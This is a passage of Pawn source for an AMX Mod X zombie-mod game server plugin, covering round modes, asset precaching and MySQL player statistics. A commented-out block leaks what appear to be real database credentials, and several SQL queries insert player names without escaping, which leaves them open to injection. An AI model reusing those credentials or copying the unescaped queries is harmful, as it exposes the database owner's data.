1040 StartSniperMode(0);
1041 }
1042 else
1043 {
1044 if (cTime[0] == 48 && cTime[1] == 49)
1045 {
1046 StartSniperMode(0);
1047 }
1048 if (cTime[0] == 48 && cTime[1] == 50)
1049 {
1050 StartSniperMode(0);
1051 }
1052 StartAssassinMode(0);
1053 }
1054 return 0;
1055}
1056
1057StartSniperMode(iPlayer)
1058{
1059 if ((g_iLastMode != 8 && random_num(1, 35) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
1060 {
1061 g_iLastMode = 8;
1062 g_iRoundType = g_iRoundType | 8;
1063 static j;
1064 static i;
1065 i = GetRandomAlive();
1066 if (iPlayer)
1067 {
1068 i = iPlayer;
1069 }
1070 j = i;
1071 MakeHuman(i, false, true);
1072 for ( i = 1; i <= g_iMaxClients; i ++ )
1073 {
1074 if ( !g_bAlive [i] ) continue;
1075
1076 if ( g_iPlayerType[i] & 8 || g_bZombie [i] ) continue;
1077
1078 MakeZombie(0, i, true, false, false);
1079 }
1080 client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
1081 set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
1082 ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Sniper !!", g_cName[j]);
1083 remove_task(600, 0);
1084 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
1085 g_bModeStarted = true;
1086 return 0;
1087 }
1088 StartSurvivorMode(0);
1089 return 0;
1090}
1091
1092StartSurvivorMode(iPlayer)
1093{
1094 if ((g_iLastMode != 4 && random_num(1, 35) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
1095 {
1096 g_iLastMode = 4;
1097 g_iRoundType = g_iRoundType | 4;
1098 static j;
1099 static i;
1100 i = GetRandomAlive();
1101 if (iPlayer)
1102 {
1103 i = iPlayer;
1104 }
1105 j = i;
1106 MakeHuman(i, true, false);
1107 for ( i = 1; i <= g_iMaxClients; i ++ )
1108 {
1109 if ( !g_bAlive [i] ) continue;
1110
1111 if ( g_iPlayerType[i] & 4 || g_bZombie [i] ) continue;
1112
1113 MakeZombie(0, i, true, false, false);
1114 }
1115 client_cmd(0, "spk %s", g_cStartRoundSurvivorSounds[random_num(0, 1)]);
1116 set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
1117 ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Survivor !!", g_cName[j]);
1118 remove_task(600, 0);
1119 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
1120 g_bModeStarted = true;
1121 return 0;
1122 }
1123 StartAssassinMode(0);
1124 return 0;
1125}
1126
1127
1128StartAssassinMode(iPlayer)
1129{
1130 if ((g_iLastMode != 2 && random_num(1, 31) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
1131 {
1132 g_iLastMode = 2;
1133 g_iRoundType = g_iRoundType | 2;
1134 static j;
1135 static i;
1136 i = GetRandomAlive();
1137 if (iPlayer)
1138 {
1139 i = iPlayer;
1140 }
1141 j = i;
1142 MakeZombie(0, i, false, false, true);
1143 i = 1;
1144 while (g_iMaxClients + 1 > i)
1145 {
1146 if (g_bAlive[i] && !g_bZombie[i] && fm_cs_get_user_team(i) == FM_CS_TEAM_T)
1147 {
1148 remove_task ( i + TASK_TEAM );
1149 fm_cs_set_user_team ( i, FM_CS_TEAM_CT );
1150 fm_user_team_update ( i );
1151 }
1152 i += 1;
1153 }
1154 set_lights ( "a" );
1155 client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
1156 set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
1157 ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Assassin !!", g_cName[j]);
1158 remove_task(600, 0);
1159 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
1160 g_bModeStarted = true;
1161 return 0;
1162 }
1163 StartNemesisMode(0);
1164 return 0;
1165}
1166
1167StartNemesisMode(iPlayer)
1168{
1169 if ((g_iLastMode != 1 && random_num(1, 29) == 1 && !g_iRounds[g_iRoundsCount]) || iPlayer)
1170 {
1171 g_iLastMode = 1;
1172 g_iRoundType = g_iRoundType | 1;
1173 static j;
1174 static i;
1175 i = GetRandomAlive();
1176 if (iPlayer)
1177 {
1178 i = iPlayer;
1179 }
1180 j = i;
1181 MakeZombie(0, i, false, true, false);
1182 i = 1;
1183 while (g_iMaxClients + 1 > i)
1184 {
1185 if (g_bAlive[i] && !g_bZombie[i] && fm_cs_get_user_team(i) == FM_CS_TEAM_T)
1186 {
1187 remove_task ( i + TASK_TEAM );
1188 fm_cs_set_user_team ( i, FM_CS_TEAM_CT );
1189 fm_user_team_update ( i );
1190 }
1191 i += 1;
1192 }
1193 client_cmd(0, "spk %s", g_cStartRoundNemesisSounds[random_num(0, 1)]);
1194 set_hudmessage(221, 13, 64, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
1195 ShowSyncHudMsg(0, g_iTopMessageSync, "%s is Nemesis !!", g_cName[j]);
1196 remove_task(600, 0);
1197 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
1198 set_task(1.0, "TaskReminder", 900, "", 0, "", 0)
1199 g_bModeStarted = true;
1200 return 0;
1201 }
1202 StartNormalMode(0);
1203 return 0;
1204}
1205
1206public TaskReminder()
1207{
1208 static cHealth[15];
1209 static iHealth;
1210 static i;
1211 i = 1;
1212 while (g_iMaxClients + 1 > i)
1213 {
1214 if (g_bAlive[i] && g_iPlayerType[i] & 1 && g_bModeStarted && !g_bRoundStart && !g_bRoundEnd)
1215 {
1216 iHealth = get_user_health(i);
1217 AddCommas(iHealth, cHealth, 14);
1218 client_print_color(0, print_team_grey, "^4[Zombie Outstanding]^1 A^3 Rapture^1 Reminder^3 ®^4 Nemesis^1 still has^3 %s^4 health points!",cHealth);
1219 }
1220 i += 1;
1221 }
1222 return 0;
1223}
1224
1225public task_hide_money(TaskIndex)
1226{
1227 if (!g_bAlive[ID_SPAWN])
1228 return;
1229
1230 message_begin(MSG_ONE, get_user_msgid("HideWeapon"), _, ID_SPAWN)
1231 write_byte(1<<5)
1232 message_end()
1233
1234 message_begin(MSG_ONE, get_user_msgid("Crosshair"), _, ID_SPAWN)
1235 write_byte(0)
1236 message_end()
1237}
1238
1239StartNormalMode(iPlayer)
1240{
1241 static j;
1242 static i;
1243 i = GetRandomAlive();
1244 if (iPlayer)
1245 {
1246 i = iPlayer;
1247 }
1248 j = i;
1249 MakeZombie(0, i, false, false, false);
1250 i = 1;
1251 while (g_iMaxClients + 1 > i)
1252 {
1253 if (g_bAlive[i] && !g_bZombie[i] && fm_cs_get_user_team(i) == FM_CS_TEAM_T)
1254 {
1255 remove_task ( i + TASK_TEAM );
1256 fm_cs_set_user_team ( i, FM_CS_TEAM_CT );
1257 fm_user_team_update ( i );
1258 }
1259 i += 1;
1260 }
1261 set_hudmessage(255, 0, 0, -1.00, 0.17, 1, 0.00, 5.00, 1.00, 1.00, -1);
1262 ShowSyncHudMsg(0, g_iTopMessageSync, "%s is the first zombie !!", g_cName[j]);
1263 remove_task(600, 0);
1264 set_task(2.0, "TaskAmbience", 600, "", 0, "", 0);
1265 g_bModeStarted = true;
1266 return 0;
1267}
1268
1269public plugin_precache ( )
1270{
1271 new Entity;
1272 Entity = engfunc ( EngFunc_CreateNamedEntity, engfunc ( EngFunc_AllocString, "hostage_entity" ) );
1273 if ( pev_valid ( Entity ) )
1274 {
1275 engfunc ( EngFunc_SetOrigin, Entity, Float: {8192.0,8192.0,8192.0} );
1276
1277 dllfunc ( DLLFunc_Spawn, Entity );
1278 }
1279 Entity = engfunc ( EngFunc_CreateNamedEntity, engfunc ( EngFunc_AllocString, "env_fog" ) );
1280
1281 if ( pev_valid ( Entity ) )
1282 {
1283 fm_set_kvd ( Entity, "density", "0.00084655", "env_fog" );
1284
1285 fm_set_kvd ( Entity, "rendercolor", "121 121 121", "env_fog" );
1286 }
1287 set_lights ( "d" );
1288 set_cvar_string("sv_skyname", "space");
1289 set_cvar_num("sv_skycolor_r", 0);
1290 set_cvar_num("sv_skycolor_g", 0);
1291 set_cvar_num("sv_skycolor_b", 0);
1292
1293 g_vflags = ArrayCreate(64, 1)
1294 g_vname = ArrayCreate(64, 1)
1295 g_vpwd = ArrayCreate(64, 1)
1296
1297 if( find_plugin_byfile("zombie_plague_test.amxx") == -1 )
1298 {
1299 set_fail_state("Missing zombie_plague_test.amxx")
1300 }
1301
1302 if( find_plugin_byfile("vip.amxx") == -1 )
1303 {
1304 set_fail_state("Missing vip.amxx")
1305 }
1306
1307 if( find_plugin_byfile("MapEndManager.amxx") == -1 )
1308 {
1309 set_fail_state("Missing MapEndManager.amxx")
1310 }
1311
1312 if( find_plugin_byfile("Spawn.amxx") == -1 )
1313 {
1314 set_fail_state("Missing Spawn.amxx")
1315 }
1316
1317 if( find_plugin_byfile("Admins.amxx") == -1 )
1318 {
1319 set_fail_state("Missing Admins.amxx")
1320 }
1321
1322 if( find_plugin_byfile("MapEndManager_Second.amxx") == -1 )
1323 {
1324 set_fail_state("Missing MapEndManager_Second.amxx")
1325 }
1326
1327 iFwSpawnHook = register_forward (FM_Spawn, "OnFakemetaSpawn", 0 );
1328 precache_model( "models/ZombieOutstanding/p_golden_ak47.mdl" );
1329 precache_model( "models/ZombieOutstanding/v_golden_ak47.mdl" );
1330 precache_model( "models/ZombieOutstanding/p_golden_deagle.mdl" );
1331 precache_model( "models/ZombieOutstanding/v_golden_deagle.mdl" );
1332 precache_model( "models/rpgrocket.mdl" );
1333 precache_model( "models/p_egon.mdl" );
1334 precache_model( "models/v_egon.mdl" );
1335 precache_model( "models/ZombieOutstanding/z_out_nemesis_claws.mdl" );
1336 precache_model( "models/ZombieOutstanding/z_out_assassin_claws.mdl" );
1337 precache_model( "models/ZombieOutstanding/z_out_clasic_claws.mdl" );
1338 precache_model( "models/ZombieOutstanding/z_out_raptor_claws.mdl" );
1339 precache_model( "models/ZombieOutstanding/z_out_mutant_claws.mdl" );
1340 precache_model( "models/ZombieOutstanding/z_out_tight_claws.mdl" );
1341 precache_model( "models/ZombieOutstanding/z_out_hunter_claws.mdl" );
1342 precache_model( "models/ZombieOutstanding/z_out_predator_blue_claws.mdl" );
1343 precache_model( "models/ZombieOutstanding/z_out_v_grenade_infection.mdl" );
1344 precache_model( "models/ZombieOutstanding/z_out_p_grenade_infection.mdl" );
1345 precache_model( "models/ZombieOutstanding/z_out_v_awp_sniper.mdl" );
1346 precache_model( "models/ZombieOutstanding/z_out_p_awp_sniper.mdl" );
1347 precache_model( "models/player/DanDiaconescu/DanDiaconescu.mdl" );
1348 precache_model( "models/player/z_out_nemesis/z_out_nemesis.mdl" );
1349 precache_model( "models/player/z_out_survivor/z_out_survivor.mdl" );
1350 precache_model( "models/player/z_out_assassin/z_out_assassin.mdl" );
1351 precache_model( "models/player/z_out_admin/z_out_admin.mdl" );
1352 precache_model( "models/player/z_out_clasic/z_out_clasic.mdl" );
1353 precache_model( "models/player/z_out_raptor/z_out_raptor.mdl" );
1354 precache_model( "models/player/z_out_mutant/z_out_mutant.mdl" );
1355 precache_model( "models/player/z_out_tight/z_out_tight.mdl" );
1356 precache_model( "models/player/z_out_regenerator/z_out_regenerator.mdl" );
1357 precache_model( "models/player/z_out_predator_blue/z_out_predator_blue.mdl" );
1358 precache_model( "models/player/z_out_hunter/z_out_hunter.mdl" );
1359 precache_model( "models/ZombieOutstanding/z_out_mine.mdl" );
1360 precache_sound( "ZombieOutstanding/armor_hit.wav" );
1361 precache_sound( "ZombieOutstanding/ambience_survivor.wav" );
1362 precache_sound( "ZombieOutstanding/ambience_normal.wav" );
1363 precache_sound( "ZombieOutstanding/monster_hit_01.wav" );
1364 precache_sound( "ZombieOutstanding/monster_hit_02.wav" );
1365 precache_sound( "ZombieOutstanding/monster_hit_03.wav" );
1366 precache_sound( "ZombieOutstanding/zombie_hit_01.wav" );
1367 precache_sound( "ZombieOutstanding/zombie_hit_02.wav" );
1368 precache_sound( "ZombieOutstanding/zombie_hit_03.wav" );
1369 precache_sound( "ZombieOutstanding/zombie_hit_04.wav" );
1370 precache_sound( "ZombieOutstanding/zombie_hit_05.wav" );
1371 precache_sound( "ZombieOutstanding/zombie_die_01.wav" );
1372 precache_sound( "ZombieOutstanding/zombie_die_02.wav" );
1373 precache_sound( "ZombieOutstanding/zombie_die_03.wav" );
1374 precache_sound( "ZombieOutstanding/zombie_die_04.wav" );
1375 precache_sound( "ZombieOutstanding/zombie_die_05.wav" );
1376 precache_sound( "ZombieOutstanding/zombie_infect_01.wav" );
1377 precache_sound( "ZombieOutstanding/zombie_infect_02.wav" );
1378 precache_sound( "ZombieOutstanding/zombie_infect_03.wav" );
1379 precache_sound( "ZombieOutstanding/zombie_infect_04.wav" );
1380 precache_sound( "ZombieOutstanding/zombie_infect_05.wav" );
1381 precache_sound( "ZombieOutstanding/end_round_win_zombies_01.wav" );
1382 precache_sound( "ZombieOutstanding/end_round_win_zombies_02.wav" );
1383 precache_sound( "ZombieOutstanding/end_round_win_zombies_03.wav" );
1384 precache_sound( "ZombieOutstanding/end_round_win_zombies_04.wav" );
1385 precache_sound( "ZombieOutstanding/end_round_win_humans_01.wav" );
1386 precache_sound( "ZombieOutstanding/end_round_win_humans_02.wav" );
1387 precache_sound( "ZombieOutstanding/end_round_win_humans_03.wav" );
1388 precache_sound( "ZombieOutstanding/end_round_win_no_one.wav" );
1389 precache_sound( "ZombieOutstanding/round_start_survivor_01.wav" );
1390 precache_sound( "ZombieOutstanding/round_start_survivor_02.wav" );
1391 precache_sound( "ZombieOutstanding/round_start_nemesis_01.wav" );
1392 precache_sound( "ZombieOutstanding/round_start_nemesis_02.wav" );
1393 precache_sound( "ZombieOutstanding/round_start_plague.wav" );
1394 precache_sound( "ZombieOutstanding/grenade_infection_explode.wav" );
1395 precache_sound( "ZombieOutstanding/grenade_fire_explode.wav" );
1396 precache_sound( "ZombieOutstanding/grenade_frost_explode.wav" );
1397 precache_sound( "ZombieOutstanding/grenade_frost_freeze.wav" );
1398 precache_sound( "ZombieOutstanding/grenade_frost_break.wav" );
1399 precache_sound( "ZombieOutstanding/jetpack_fly.wav" );
1400 precache_sound( "ZombieOutstanding/jetpack_blow.wav" );
1401 precache_sound( "ZombieOutstanding/rocket_fire.wav" );
1402 precache_sound( "ZombieOutstanding/gun_pickup.wav" );
1403 precache_sound( "ZombieOutstanding/zombie_burn_01.wav" );
1404 precache_sound( "ZombieOutstanding/zombie_burn_02.wav" );
1405 precache_sound( "ZombieOutstanding/zombie_burn_03.wav" );
1406 precache_sound( "ZombieOutstanding/zombie_burn_04.wav" );
1407 precache_sound( "ZombieOutstanding/zombie_burn_05.wav" );
1408 precache_sound( "ZombieOutstanding/human_nade_infect_scream_01.wav" );
1409 precache_sound( "ZombieOutstanding/human_nade_infect_scream_02.wav" );
1410 precache_sound( "ZombieOutstanding/human_nade_infect_scream_03.wav" );
1411 precache_sound( "ZombieOutstanding/zombie_madness.wav" );
1412 precache_sound( "ZombieOutstanding/antidote.wav" );
1413 precache_sound( "ZombieOutstanding/mine_activate.wav" );
1414 precache_sound( "ZombieOutstanding/mine_deploy.wav" );
1415 precache_sound( "ZombieOutstanding/mine_charge.wav" );
1416 precache_sound( "ZombieOutstanding/armor_equip.wav" );
1417 precache_sound( "fvox/flatline.wav" );
1418 SpriteTexture = precache_model("sprites/lgtning.spr");
1419 g_iLaser = precache_model("sprites/laserbeam.spr");
1420 ExploSpr = engfunc(EngFunc_PrecacheModel, "sprites/shockwave.spr");
1421 FlameSpr = engfunc(EngFunc_PrecacheModel, "sprites/ZombieOutstanding/z_out_flame.spr");
1422 SmokeSpr = engfunc(EngFunc_PrecacheModel, "sprites/black_smoke3.spr");
1423 GlassSpr = engfunc(EngFunc_PrecacheModel, "models/glassgibs.mdl");
1424 HExplode = engfunc(EngFunc_PrecacheModel, "sprites/zerogxplode.spr");
1425 TrailSpr = engfunc(EngFunc_PrecacheModel, "sprites/laserbeam.spr");
1426 g_hExplode = precache_model("sprites/zerogxplode.spr");
1427}
1428
1429//#define SQL_Server "93.119.27.56"
1430//#define SQL_Person "gpkr_4502"
1431//#define SQL_Password "`D#M5WpV@_9`7p{&"
1432//#define SQL_Database "gpkr_4502"
1433
1434#define SQL_Server ""
1435#define SQL_Person ""
1436#define SQL_Password ""
1437#define SQL_Database "StatsDb"
1438
1439
1440computeTimeLength(Time, timeUnit:unitType, Output[], outputSize)
1441{
1442 static Weeks = 0, Days = 0, Hours = 0, Minutes = 0, Seconds = 0, \
1443 maxElementId = 0, timeElement[5][64], Length = 0;
1444
1445 if (Time > 0)
1446 {
1447 maxElementId = 0;
1448
1449 switch (unitType)
1450 {
1451 case timeUnit_Seconds: Seconds = Time;
1452 case timeUnit_Minutes: Seconds = Time * 60;
1453 case timeUnit_Hours: Seconds = Time * 3600;
1454 case timeUnit_Days: Seconds = Time * 86400;
1455 case timeUnit_Weeks: Seconds = Time * 604800;
1456 }
1457
1458 Weeks = Seconds / 604800;
1459 Seconds -= (Weeks * 604800);
1460
1461 Days = Seconds / 86400;
1462 Seconds -= (Days * 86400);
1463
1464 Hours = Seconds / 3600;
1465 Seconds -= (Hours * 3600);
1466
1467 Minutes = Seconds / 60;
1468 Seconds -= (Minutes * 60);
1469
1470 if (Weeks > 0)
1471 formatex(timeElement[maxElementId++], charsmax(timeElement[]), "%d w", Weeks);
1472
1473 if (Days > 0)
1474 formatex(timeElement[maxElementId++], charsmax(timeElement[]), "%d d", Days);
1475
1476 if (Hours > 0)
1477 formatex(timeElement[maxElementId++], charsmax(timeElement[]), "%d h", Hours);
1478
1479 if (Minutes > 0)
1480 formatex(timeElement[maxElementId++], charsmax(timeElement[]), "%d m", Minutes);
1481
1482 if (Seconds > 0)
1483 formatex(timeElement[maxElementId++], charsmax(timeElement[]), "%d s", Seconds);
1484
1485 switch (maxElementId)
1486 {
1487 case 1: Length = formatex(Output, outputSize, "%s", timeElement[0]);
1488 case 2: Length = formatex(Output, outputSize, "%s %s", timeElement[0], timeElement[1]);
1489 case 3: Length = formatex(Output, outputSize, "%s %s %s", timeElement[0], timeElement[1], \
1490 timeElement[2]);
1491 case 4: Length = formatex(Output, outputSize, "%s %s %s %s", timeElement[0], timeElement[1], \
1492 timeElement[2], timeElement[3]);
1493 case 5: Length = formatex(Output, outputSize, "%s %s %s %s %s", timeElement[0], timeElement[1], \
1494 timeElement[2], timeElement[3], timeElement[4]);
1495 }
1496
1497 return Length;
1498 }
1499
1500 Length = formatex(Output, outputSize, "0 m");
1501
1502 return Length;
1503}
1504
1505bool:isValidPlayer(Player)
1506{
1507 return bool:(Player >= 1 && Player <= g_iMaxClients);
1508}
1509
1510resetPlayer(Player)
1511{
1512 static timeNow = 0;
1513
1514 if (isValidPlayer(Player) && !is_user_bot(Player) && !is_user_hltv(Player))
1515 {
1516 timeNow = get_systime();
1517 g_Score[Player] = 1000;
1518 g_Kills[Player] = 0;
1519 g_Deaths[Player] = 0;
1520 g_headShots[Player] = 0;
1521 g_Time[Player] = 0;
1522 computeTimeLength(g_Time[Player], timeUnit_Minutes, g_timeString[Player], charsmax(g_timeString[]));
1523 g_Seen[Player] = timeNow;
1524 format_time(g_seenString[Player], charsmax(g_seenString[]), "%d.%m.%Y @ %H:%M");
1525 g_kpdRatio[Player] = 0.0;
1526 g_kmdValue[Player] = 0;
1527 }
1528}
1529
1530Float:computeKpdRatio(Player)
1531{
1532 if (isValidPlayer(Player) && is_user_connected(Player) && is_user_bot(Player) == 0 && is_user_hltv(Player) == 0)
1533 {
1534 if (g_Deaths[Player] == 0)
1535 {
1536 return float(g_Kills[Player]);
1537 }
1538
1539 else
1540 {
1541 return float(g_Kills[Player] / g_Deaths[Player]);
1542 }
1543 }
1544
1545 return 0.0;
1546}
1547
1548computeKmdValue(Player)
1549{
1550 if (isValidPlayer(Player) && is_user_connected(Player) && is_user_bot(Player) == 0 && is_user_hltv(Player) == 0)
1551 {
1552 return g_Kills[Player] - g_Deaths[Player];
1553 }
1554
1555 return 0;
1556}
1557
1558updateRank(Client)
1559{
1560 if (isValidPlayer(Client) && is_user_connected(Client) && is_user_bot(Client) == 0 && is_user_hltv(Client) == 0)
1561 {
1562 formatex(g_Query, charsmax(g_Query), "UPDATE Players SET Ip = '%s', Score = %d, Kills = %d, Deaths = %d, \
1563 headShots = %d, Seen = %d, seenString = '%s', kpdRatio = %f, kmdValue = %d WHERE Name = '%s';", \
1564 g_Ip[Client], g_Score[Client], g_Kills[Client], g_Deaths[Client], g_headShots[Client], \
1565 g_Seen[Client], g_seenString[Client], g_kpdRatio[Client], g_kmdValue[Client], g_Name[Client]);
1566
1567 SQL_ThreadQuery(g_Tuple, "emptyFunction", g_Query);
1568 }
1569}
1570
1571public NewStats_GetTop15(pluginId, parametersCount)
1572{
1573 static Name[15][64], Total, Error[256], errorId, Handle:Connection, Handle:Query, Iterator;
1574
1575 Connection = SQL_Connect(g_Tuple, errorId, Error, charsmax(Error));
1576
1577 if (errorId)
1578 {
1579 log_to_file("ZombieOutStanding_Stats_Error.log", "NewStats_GetTop15() failed because SQL has encountered an error.");
1580 log_to_file("ZombieOutStanding_Stats_Error.log", "The error is listed below.");
1581 log_to_file("ZombieOutStanding_Stats_Error.log", "[%d] %s", errorId, Error);
1582
1583 return 0;
1584 }
1585
1586 Query = SQL_PrepareQuery(Connection, "SELECT Name FROM Players ORDER BY kmdValue DESC LIMIT 15;");
1587 SQL_Execute(Query);
1588
1589 if (SQL_NumResults(Query) == 0)
1590 {
1591 SQL_FreeHandle(Query);
1592 SQL_FreeHandle(Connection);
1593
1594 return 0;
1595 }
1596
1597 Total = 0;
1598
1599 while (SQL_MoreResults(Query))
1600 {
1601 SQL_ReadResult(Query, 0, Name[Total++], charsmax(Name[]));
1602
1603 SQL_NextRow(Query);
1604 }
1605
1606 SQL_FreeHandle(Query);
1607 SQL_FreeHandle(Connection);
1608
1609 for (Iterator = 0; Iterator < Total; Iterator++)
1610 set_string(Iterator + 1, Name[Iterator], charsmax(Name[]));
1611
1612 return Total;
1613}
1614
1615public NewStats_GetStats(pluginId, parametersCount)
1616{
1617 static Name[64], Error[256], errorId, Handle:Connection, Handle:Query, Kills[16], Deaths[16], \
1618 headShots[16], Score[16], Ip[64], Steam[64], Time[16], timeString[64], Seen[16], \
1619 seenString[64], kpdRatio[16], kmdValue[16], Kills_i, Deaths_i, headShots_i, Score_i, \
1620 Time_i, Seen_i, Float:kpdRatio_f, kmdValue_i, Rank[16], Rank_i, totalPositions[16];
1621
1622 get_string(1, Name, charsmax(Name));
1623
1624 replace_all(Name, charsmax(Name), "`", "*");
1625 replace_all(Name, charsmax(Name), "'", "*");
1626 replace_all(Name, charsmax(Name), "\", "*");
1627
1628 Connection = SQL_Connect(g_Tuple, errorId, Error, charsmax(Error));
1629
1630 if (errorId)
1631 {
1632 log_to_file("ZombieOutStanding_Stats_Error.log", "NewStats_GetStats() failed because SQL has encountered an error.");
1633 log_to_file("ZombieOutStanding_Stats_Error.log", "The error is listed below.");
1634 log_to_file("ZombieOutStanding_Stats_Error.log", "[%d] %s", errorId, Error);
1635
1636 return 0;
1637 }
1638
1639 formatex(g_Query, charsmax(g_Query), "SELECT Steam, Ip, Score, Kills, Deaths, headShots, Time, timeString, Seen, seenString, kpdRatio, kmdValue FROM Players WHERE Name = '%s';", Name);
1640
1641 Query = SQL_PrepareQuery(Connection, g_Query);
1642 SQL_Execute(Query);
1643
1644 if (SQL_NumResults(Query) == 0)
1645 {
1646 SQL_FreeHandle(Query);
1647 SQL_FreeHandle(Connection);
1648
1649 return 0;
1650 }
1651
1652 SQL_ReadResult(Query, 0, Steam, charsmax(Steam));
1653 SQL_ReadResult(Query, 1, Ip, charsmax(Ip));
1654 Score_i = SQL_ReadResult(Query, 2);
1655 num_to_str(Score_i, Score, charsmax(Score));
1656 Kills_i = SQL_ReadResult(Query, 3);
1657 num_to_str(Kills_i, Kills, charsmax(Kills));
1658 Deaths_i = SQL_ReadResult(Query, 4);
1659 num_to_str(Deaths_i, Deaths, charsmax(Deaths));
1660 headShots_i = SQL_ReadResult(Query, 5);
1661 num_to_str(headShots_i, headShots, charsmax(headShots));
1662 Time_i = SQL_ReadResult(Query, 6);
1663 num_to_str(Time_i, Time, charsmax(Time));
1664 SQL_ReadResult(Query, 7, timeString, charsmax(timeString));
1665 Seen_i = SQL_ReadResult(Query, 8);
1666 num_to_str(Seen_i, Seen, charsmax(Seen));
1667 SQL_ReadResult(Query, 9, seenString, charsmax(seenString));
1668 SQL_ReadResult(Query, 10, kpdRatio_f);
1669 float_to_str(kpdRatio_f, kpdRatio, charsmax(kpdRatio));
1670 kmdValue_i = SQL_ReadResult(Query, 11);
1671 num_to_str(kmdValue_i, kmdValue, charsmax(kmdValue));
1672
1673 SQL_FreeHandle(Query);
1674
1675 set_string(2, Steam, charsmax(Steam));
1676 set_string(3, Ip, charsmax(Ip));
1677 set_string(4, Score, charsmax(Score));
1678 set_string(5, Kills, charsmax(Kills));
1679 set_string(6, Deaths, charsmax(Deaths));
1680 set_string(7, headShots, charsmax(headShots));
1681 set_string(8, Time, charsmax(Time));
1682 set_string(9, timeString, charsmax(timeString));
1683 set_string(10, Seen, charsmax(Seen));
1684 set_string(11, seenString, charsmax(seenString));
1685 set_string(12, kpdRatio, charsmax(kpdRatio));
1686 set_string(13, kmdValue, charsmax(kmdValue));
1687
1688 formatex(g_Query, charsmax(g_Query), "SELECT DISTINCT kmdValue FROM Players WHERE kmdValue >= %d ORDER BY kmdValue ASC;", kmdValue_i);
1689
1690 Query = SQL_PrepareQuery(Connection, g_Query);
1691 SQL_Execute(Query);
1692
1693 Rank_i = SQL_NumResults(Query);
1694 num_to_str(Rank_i, Rank, charsmax(Rank));
1695
1696 SQL_FreeHandle(Query);
1697 SQL_FreeHandle(Connection);
1698
1699 set_string(14, Rank, charsmax(Rank));
1700
1701 num_to_str(g_recordsCount, totalPositions, charsmax(totalPositions));
1702 set_string(15, totalPositions, charsmax(totalPositions));
1703
1704 return 1;
1705}
1706
1707public recordsCount(failState, Handle:Query, Error[], errorId, Data[], dataSize, Float:queueTime)
1708{
1709 if (failState != 0 || errorId != 0)
1710 {
1711 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_ThreadQuery() failed @ recordsCount()");
1712 log_to_file("ZombieOutStanding_Stats_Error.log", "[%d] %s", errorId, Error);
1713 }
1714
1715 else if (queueTime > 15.0)
1716 {
1717 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_ThreadQuery() @ recordsCount() : This query took 15.0 seconds. \
1718 Talk to the game host company tell them the MySQL database works too slow.");
1719 }
1720
1721 g_recordsCount = SQL_NumResults(Query);
1722}
1723
1724public emptyFunction(failState, Handle:Query, Error[], errorId, Data[], dataSize, Float:queueTime)
1725{
1726 if (failState != 0 || errorId != 0)
1727 {
1728 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_ThreadQuery() failed @ emptyFunction()");
1729 log_to_file("ZombieOutStanding_Stats_Error.log", "[%d] %s", errorId, Error);
1730 }
1731
1732 else if (queueTime > 15.0)
1733 {
1734 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_ThreadQuery() @ emptyFunction() : This query took 15.0 seconds. \
1735 Talk to the game host company tell them the MySQL database works too slow.");
1736 }
1737}
1738
1739public retrieveOrCreatePlayer(failState, Handle:Query, Error[], errorId, Data[], dataSize, Float:queueTime)
1740{
1741 static Client = 0;
1742
1743 if (failState != 0 || errorId != 0)
1744 {
1745 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_ThreadQuery() failed @ retrieveOrCreatePlayer()");
1746 log_to_file("ZombieOutStanding_Stats_Error.log", "[%d] %s", errorId, Error);
1747 }
1748
1749 else if (queueTime > 15.0)
1750 {
1751 log_to_file("ZombieOutStanding_Stats_Error.log", "SQL_ThreadQuery() @ retrieveOrCreatePlayer() : This query took 15.0 seconds. \
1752 Talk to the game host company tell them the MySQL database works too slow.");
1753 }
1754
1755 Client = str_to_num(Data);
1756
1757 if (is_user_connected(Client) == 1 && is_user_bot(Client) == 0 && is_user_hltv(Client) == 0)
1758 {
1759 resetPlayer(Client);
1760
1761 switch (SQL_NumResults(Query))
1762 {
1763 case 0:
1764 {
1765 formatex(g_Query, charsmax(g_Query), "INSERT INTO Players VALUES ('%s', \
1766 '%s', '%s', %d, %d, %d, %d, %d, '%s', %d, '%s', %f, %d);", g_Name[Client], \
1767 g_Steam[Client], g_Ip[Client], g_Score[Client], g_Kills[Client], \
1768 g_Deaths[Client], g_headShots[Client], g_Time[Client], g_timeString[Client], g_Seen[Client], \
1769 g_seenString[Client], g_kpdRatio[Client], g_kmdValue[Client]);
1770
1771 SQL_ThreadQuery(g_Tuple, "emptyFunction", g_Query);
1772
1773 g_recordsCount++;
1774 }
1775
1776 default:
1777 {
1778 g_Score[Client] = SQL_ReadResult(Query, 0);
1779 g_Kills[Client] = SQL_ReadResult(Query, 1);
1780 g_Deaths[Client] = SQL_ReadResult(Query, 2);
1781 g_headShots[Client] = SQL_ReadResult(Query, 3);
1782 g_Time[Client] = SQL_ReadResult(Query, 4);
1783 SQL_ReadResult(Query, 5, g_timeString[Client], charsmax(g_timeString[]));
1784 g_Seen[Client] = SQL_ReadResult(Query, 6);
1785 SQL_ReadResult(Query, 7, g_seenString[Client], charsmax(g_seenString[]));
1786 SQL_ReadResult(Query, 8, g_kpdRatio[Client]);
1787 g_kmdValue[Client] = SQL_ReadResult(Query, 9);
1788 }
1789 }
1790
1791 set_task(7.0, "rankPrepared", Client);
